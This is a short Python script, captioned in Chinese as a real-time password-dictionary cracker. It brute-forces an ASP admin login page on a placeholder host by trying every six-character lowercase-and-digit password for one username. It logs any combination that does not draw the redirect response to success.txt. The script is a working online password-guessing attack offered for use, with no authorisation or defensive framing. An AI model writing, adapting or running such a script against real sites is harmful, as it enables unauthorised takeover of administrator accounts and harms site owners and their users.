实时生成密码字典并执行破解。

# -*- coding: utf-8 -*-
# !/usr/bin/python
import requests
import time

user="username"
import itertools as its

words = 'abcdefghijklmnopqrstuvwxyz1234567890'

r = its.product(words, repeat=6)  # repeat 要生成多少位的字典

for i in r:
   each="".join(i)
   print('using>>>'+each)
   url='http://www.xxx.com.cn/admin2/index.asp?action=check'#
   data={
      "uname":user,
      "upwd":each}
        #print(url)
   result=requests.post(url,data=data, allow_redirects=False)
   result.encoding='gb2312'
   print(result.text)
   if '对象已移动' in result.text:
      print('failed')
   else:
      f = open('success.txt','a+',encoding='utf-8')
      f.write('User:')
      f.write(user)
      f.write('  Passwd:')
      f.write(each)
      print('succeed!\n')